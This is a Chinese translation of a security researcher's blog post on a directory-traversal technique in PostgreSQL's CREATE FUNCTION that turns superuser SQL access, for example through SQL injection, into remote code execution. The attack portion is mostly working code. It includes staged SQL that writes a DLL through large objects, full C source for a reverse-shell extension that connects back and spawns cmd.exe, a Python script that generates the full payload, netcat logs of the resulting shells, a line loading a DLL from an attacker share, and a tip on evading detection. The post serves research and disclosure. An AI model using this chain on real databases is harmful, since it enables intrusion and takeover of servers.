导语:当我研究针对Cisco DCNM中发现的SQL Injection漏洞的利用原语时,我遇到了一种针对PostgreSQL数据库利用SQL Injection漏洞的通用技术。
当我研究针对Cisco DCNM中发现的SQL Injection漏洞的利用原语时,我遇到了一种针对PostgreSQL数据库利用SQL Injection漏洞的通用技术。开发漏洞利用原语时,始终首选使用不依赖于其他基础技术的应用程序技术。
https://srcincite.io/blog/2020/01/14/busting-ciscos-beans-hardcoding-your-way-to-hell.html
我分享了另一种技术来实现对PostgreSQL数据库的远程代码执行。
应用程序技术将具有破坏数据库完整性并利用应用程序代码与数据库之间的信任的能力。在Cisco DCNM的情况下,我发现了4种不同的技术,我在其中写了2种(目录遍历和反序列化)。
0x01 研究成果
雅各布·威尔曾开源了一个简单的方法来使用(AB)实现对PostgreSQL的代码执行。最近,丹尼斯·安扎科维奇(Denis Andzakovic)还详细描述了他通过(ab)使用对postgresql.conf文件的读/写来获得针对PostgreSQL的代码执行的方式。
https://www.postgresql.org/docs/12/sql-copy.html https://pulsesecurity.co.nz/articles/postgres-sqli
我进行了一些测试,发现在Windows下NETWORK_SERVICE无法修改postgresql.conf文件,因此Denis的技术是* nix特有的。但是,他的技术不需要堆栈检查,因此在某些情况下危害很大。
0x02 create function obj_file目录遍历漏洞
· CVE:无
· CVSS:4.1 (AV:N / AC:H / PR:H / UI:N / S:U / C:L / I:L / A:L)
环境准备
该技术在* nix和Windows上均有效,但是由于我们利用了create函数的可操作性,因此确实需要堆栈检查。
https://www.postgresql.org/docs/12/sql-createfunction.html
漏洞描述
在最新版本的PostgreSQL上,superuser除C:\Program Files\PostgreSQL\11\libWindows或/var/lib/postgresql/11/lib* nix 上,不再允许从其他任何地方加载共享库文件。此外,NETWORK_SERVICE或postgres帐户均无法写入此路径。
但是,经过身份验证的数据库superuser可以使用“big obj”将二进制文件写入文件系统,并且当然可以写入C:\Program Files\PostgreSQL\11\data目录。对于更新/创建数据库中的表,其原因应该很清楚。
潜在的问题是CREATE FUNCTION操作允许目录遍历到数据目录!因此,实质上,经过身份验证的攻击者可以将共享库文件写入数据目录,然后使用遍历来加载共享库。这意味着攻击者可以执行本机代码,从而执行任意代码。
攻击流程
第1阶段-我们首先在pg_largeobject表中创建一个条目。
select lo_import('C:/Windows/win.ini', 1337);
我们可以在这里轻松使用UNC路径(并跳过第3步),但是由于我们希望使用与平台无关的技术,因此我们将避免这种情况。
第2阶段-现在,我们修改pg_largeobject条目以包含完整的扩展名。此扩展名需要针对目标PostgreSQL数据库的确切主要版本进行编译,并与其架构相匹配。
对于长度> 2048字节的文件,该pg_largeobject表使用该pageno字段。因此,我们必须将文件分成2048个字节大小的块。
update pg_largeobject SET pageno=0, data=decode(4d5a90...) where loid=1337; insert into pg_largeobject(loid, pageno, data) values (1337, 1, decode(74114d...)); insert into pg_largeobject(loid, pageno, data) values (1337, 2, decode(651400...)); ...
通过使用PostgreSQL中的对象标识符类型,可以跳过第1阶段(仅对第2阶段执行单个语句执行),但是我还没有时间确认这一点。
第3阶段-现在我们可以将二进制文件写入数据目录。请记住,由于选中了遍历,因此我们不能在此处使用遍历,但是即使可以,也仍然存在对NETWORK_SERVICE帐户的严格文件权限,并且我们的选择也受到限制。
select lo_export(1337, 'poc.dll');
阶段4-现在,让我们触发库的加载。
几年前,我在一个课堂上演示了可以使用固定路径(包括UNC)来加载针对PostgreSQL版本9.x的扩展,从而获得本机代码执行的能力。@ zerosum0x0 通过在文件系统上使用具有固定路径的文件写入技术演示了这一点。但是在那时,对文件系统的权限并不那么严格。
create function connect_back(text, integer) returns void as '//attacker/share/poc.dll', 'connect_back' language C strict;
但是,几年过去了,PostgreSQL开发人员决定阻止固定路径,可惜现在这种技术已经失效了。但是我们可以简单地从lib目录中遍历并加载我们的扩展!create function附加.dll字符串的基础代码,因此不必担心附加字符串:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
阶段5-触发反向shell。
select connect_back('192.168.100.54', 1234);
注意事项
· 也可以加载DllMain,但是伪装错误日志是一种逃避检测的方法!
· 如前所述,将需要使用包含体系结构的PostgreSQL版本来编译dll / so文件。
· 可以下载我在这里使用的扩展名,但需要自己进行编译。
https://github.com/sourceincite/tools/blob/master/pgpwn.c /* pgpwn.c date: 23/11/2016 Developed by: mr_me Synopsis: ========= This code creates a postgres extension that registers a connect_back() function allowing an attacker to gain a reverse shell. Motivation: =========== A zero-day that runs the postgres user as SYSTEM and whereby I could not gain rce via writing to disk without a reboot. Benefits: ========= - No touching disk... - Can be loaded from remote... Example Usage: ============== 1. Register the function: ------------------------- CREATE FUNCTION connect_back(text, integer) RETURNS void AS $$\\vmware-host\Shared Folders\research\DemoExtension.dll$$, $$connect_back$$ LANGUAGE C STRICT; That loads the DLL from remote, via a share! ;-) 2. Execute it: -------------- SELECT connect_back('172.16.175.1', 1234); 3. On the 'attackers' machine: ------------------------------ saturn:~ mr_me$ nc -lv 1234 Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Program Files\PostgreSQL\9.2\data>whoami whoami nt authority\network service C:\Program Files\PostgreSQL\9.2\data> 4. Now, if you want to remove it, simply: ----------------------------------------- DROP FUNCTION connect_back(text, integer); References: =========== 1. http://blog.2ndquadrant.com/compiling-postgresql-extensions-visual-studio-windows/ License: ======== This code is licensed under the Creative Commons Attribution-Non‑Commercial 4.0 International License. */ #include "postgres.h" #include #include "fmgr.h" #include "utils/geo_decls.h" #include #include #include "utils/builtins.h" #pragma comment(lib, "ws2_32") #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif /* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(connect_back); WSADATA wsaData; SOCKET s1; struct sockaddr_in hax; char ip_addr[16]; STARTUPINFO sui; PROCESS_INFORMATION pi; Datum connect_back(PG_FUNCTION_ARGS) { /* convert C string to text pointer */ #define GET_TEXT(cstrp) \ DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp))) /* convert text pointer to C string */ #define GET_STR(textp) \ DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp))) WSAStartup(MAKEWORD(2, 2), &wsaData); s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); hax.sin_family = AF_INET; hax.sin_port = htons(PG_GETARG_INT32(1)); hax.sin_addr.s_addr = inet_addr(GET_STR(PG_GETARG_TEXT_P(0))); WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); memset(&sui, 0, sizeof(sui)); sui.cb = sizeof(sui); sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1; CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi); PG_RETURN_VOID(); }
PoC
此代码将生成poc.sql文件,以超级用户身份在数据库上运行。例:
steven@pluto:~/postgres-rce$ ./poc.py (+) usage ./poc.py (+) eg: ./poc.py 192.168.100.54 1234 steven@pluto:~/postgres-rce$ ./poc.py 192.168.100.54 1234 si-x64-12.dll (+) building poc.sql file (+) run poc.sql in PostgreSQL using the superuser (+) for a db cleanup only, run the following sql: SELECT lo_unlink(l.oid) FROM pg_largeobject_metadata l; DROP FUNCTION connect_back(text, integer); steven@pluto:~/postgres-rce$ nc -lvp 1234 Listening on [0.0.0.0] (family 0, port 1234) Connection from 192.168.100.122 49165 received! Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Program Files\PostgreSQL\12\data>whoami nt authority\network service C:\Program Files\PostgreSQL\12\data> #!/usr/bin/env python3 import sys if len(sys.argv) != 4: print("(+) usage %s " % sys.argv[0]) print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0]) sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) lib = sys.argv[3] with open(lib, "rb") as dll: d = dll.read() sql = "select lo_import('C:/Windows/win.ini', 1337);" for i in range(0, len(d)//2048): start = i * 2048 end = (i+1) * 2048 if i == 0: sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex()) else: sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex()) if (len(d) % 2048) != 0: end = (i+1) * 2048 sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex()) sql += "select lo_export(1337, 'poc.dll');" sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;" sql += "select connect_back('%s', %d);" % (host, port) print("(+) building poc.sql file") with open("poc.sql", "w") as sqlfile: sqlfile.write(sql) print("(+) run poc.sql in PostgreSQL using the superuser") print("(+) for a db cleanup only, run the following sql:") print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;") print(" drop function connect_back(text, integer);")
0x03 参考资料
· https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html
· https://pulsesecurity.co.nz/articles/postgres-sqli
本文翻译自:https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html如若转载,请注明原文地址: